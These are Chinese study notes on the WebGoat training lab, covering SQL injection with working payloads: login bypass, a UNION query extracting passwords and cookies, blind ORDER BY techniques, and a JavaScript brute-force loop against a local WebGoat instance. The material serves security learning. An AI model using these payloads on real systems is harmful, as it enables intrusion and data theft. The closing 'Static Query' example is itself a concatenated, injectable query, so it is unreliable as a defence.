[IS] WebGoat 學習筆記
此篇筆記是照著 來玩 webgoat - 資安補漏洞,越補越大洞 @ iThome 實作而來。
OWASP:包含各種資訊安全描述。
安裝與啟動
-
安裝 Java JDK
-
下載 webgoat-server ( webwolf 也可在此下載 )
-
透過終端機安裝 webgoat
# 啟動 webgoat server
# java -jar webgoat-server-<version>.jar [--server.port=8080] [--server.address=localhost]
java -jar webgoat-server-8.0.0.VERSION.jar
# 啟動 webwolf server
java -jar webwolf-8.0.0.VERSION.jar [--server.port=9090] [--server.address=localhost]
接著就可以透過 http://localhost:8080/WebGoat
看到 WebGoat 登入頁面;http://localhost:9090/WebWolf
則可進入 WebWolf 登入頁。
HTTP Proxy
許多時候 Proxy 是用來處理存取被阻擋的內容,使用者可能連上 server A,而 server A 的內容來自 server B,而使用者的網路(network)是無法直接存取到 server B 的內容。HTTP Proxies 是很類似的概念,它會接收從 client 的 request 然後轉發,通常還會紀錄(record)下來。
HTTP Proxies 就像中間人的角色,它介於 client 和 server 之間,它可以:
- 記錄和分析(甚至修改)這些 request 和 response
- 更有效率地進行測試或分析網站的安全性
- CI/CD
SQL Injection
Normal SQL Injection
cheat sheet
-- string injection
' or '1' = '1
-- 利用註解來 injection
admin' --
-- 利用 UNION 搭配「註解」撈出另一個帶有密碼的 user_system_data 表,達到 SQL Inject
' UNION
SELECT userid, user_name, password, 'number', 'type', cookie, 0
FROM user_system_data --
「SQL Injection 就是利用程式的漏洞,利用 SQL 執行的錯誤語法,或是猜測資料庫結構或欄位名稱等,幫原本要執行的 SQL 語法加料,進而造成資料庫執行到被加料的 SQL 語法,並造成非預期的結果,像是資料被修改、外洩及刪除等,也有可能整個資料庫被刪除或多新增幾個帳號等,總之只要是 SQL 語法能做到的事情都有可能因此被執行」[Day 16] 來玩 WebGoat!之 4:SQL Injection @ IThome
利用字串插補(string interpolation)或字串連結(concatenating strings)的方式來撰寫「動態的」 SQL 語法非常容易遭到 SQL Injection:
String and Numeric Injection
String Based
select * from users where name = '" + userName + "';
-- username 帶入 userName = Smith' or '1'='1
-- 即可把所有資料撈出來
select * from users where name = 'Smith' or '1' = '1';
Numeric Based
"select * from users where employee_id = " + userID;
-- userID 帶入 1234567 or 1=1
-- 即可把所有資料撈出來
select * from users where employee_id = 1234567 or 1 = 1
Special characters SQL Injection
利用 SQL 中的特殊字符(例如註解)進行 SQL Injection:
# php
$query = "select * from member where member_id = '".$memberID."' and password = '".$password."';”;
$result = $conn->query($sql);
在 $memberID
的內容中偷偷塞入註解符號 —
,如此會變成:
-- 利用註解達到 SQL Injection
select * from member where member_id = 'admin' -- ' and password = 'pass';
UNION based SQL Injection
使用 [UNION](/Users/pjchen/Projects/Notes/source/_posts/Database/[SQL] 常用指令.md) 只需注意 兩個 query 中的欄位「數目」與「資料型別」要相同:
-- 利用 UNION 搭配「註解」撈出另一個帶有密碼的 user_system_data 表,達到 SQL Inject
' UNION SELECT userid, user_name, password, 'number', 'type', cookie, 0 FROM user_system_data --
Blind SQL Injection
一般的 SQL injection 和 blind SQL injection 的差別在於,一般的 SQL injection 會從 database 丟出一定的訊息(可能是錯誤訊息),讓我們可以根據這些資訊來嘗試。但是當沒有任何訊息顯示時,你必須要向資料庫詢問 true
或 false
這類的問題(例如,WHERE password = '123'
),以此來猜測想要取得的資訊。
Blind SQL injections 有很多種類型,其中包含 content based 和 time based 的 SQL injection。
Content Based
舉例來說,當我們輸入網址 https://my-shop.com/?article=4
時,伺服器實際會執行如下的 query:
SELECT * from articles where article_id = 4
這時候若我們將網址改成 https://my-shop.com/?article=4 AND 1=1
則 query 的內容會變成:
-- 得到一樣的資料
SELECT * from articles where article_id = 4 AND 1 = 1
-- 得不到任何資料
SELECT * from articles where article_id = 4 AND 1 = 2
如果這時候可以得到資料內容而不是進到 404 時,表示說我們可以透過 url 來取得一些資料庫相關的資訊,因為這表示 AND
後面的內容有被吃到 SQL 中,例如當我們使用網址 https://my-shop.com?article=4 AND substring(database_version(),1,1) = 2
,可以逐一嘗試來猜這資料庫的版本號碼等等。
Time Based
article = 4; sleep(10) --
搭配 ORDER BY
當 password 等於 1 時則會按照 lastname 排序,否則按照 firstname 排序,重複此過程如此來猜出密碼:
select * from users order by (case when (password = '1') then lastname else firstname)
Example: Blind SQL Injection
可以使用這段 URL 來測試出 IP:
http://localhost:8080/WebGoat/SqlInjection/servers?column=(CASE WHEN EXISTS(SELECT id FROM servers WHERE hostname='webgoat-prd' AND substring(ip,1,1)=${item}) THEN id ELSE ip end)
原本的 SQL 可能類似:
SELECT * FROM servers ORDER BY $orderParams
把上面的 url 帶入 SQL 中會變成:
SELECT * FROM servers ORDER BY
(
CASE
WHEN EXISTS(
SELECT id FROM servers
-- 判斷 servers 中是否真的有 webgoat-prd 這個 hostname(可省略)
-- AND substring(ip,1,1) = 0 -> 這句是關鍵
-- 每次取出 ip 欄位中的一個值來嘗試,如果猜對了,則網頁會用 id 排序,否則會用 ip 排序
WHERE hostname='webgoat-prd' AND substring(ip,1,1)=0
)
THEN id
ELSE ip end
)
若要檢查 IP 的第二碼,則 substring 要改成 substring(ip, 2, 1)=0
。
透過 JavaScript 一次送出 10 個 request:
// 以下程式會檢查 ip 的第一碼多少
Array.from({ length: 10 }, (_, k) => k).forEach((item) => {
fetch(
`http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${item}) then id else ip end)`,
)
.then((response) => response.json())
.then((result) => console.log(`result - ${item}`, result));
});
防範 SQL Injection
要減少被 SQL Injection 的機會最重要的是不要使用 Dynamic Queries,而是改用 Static Queries 或 Parameterized Queries:
Static Query
-- Static Query
select * from products;
select * from users where user = "'" + session.getAttribute("UserID") + "'";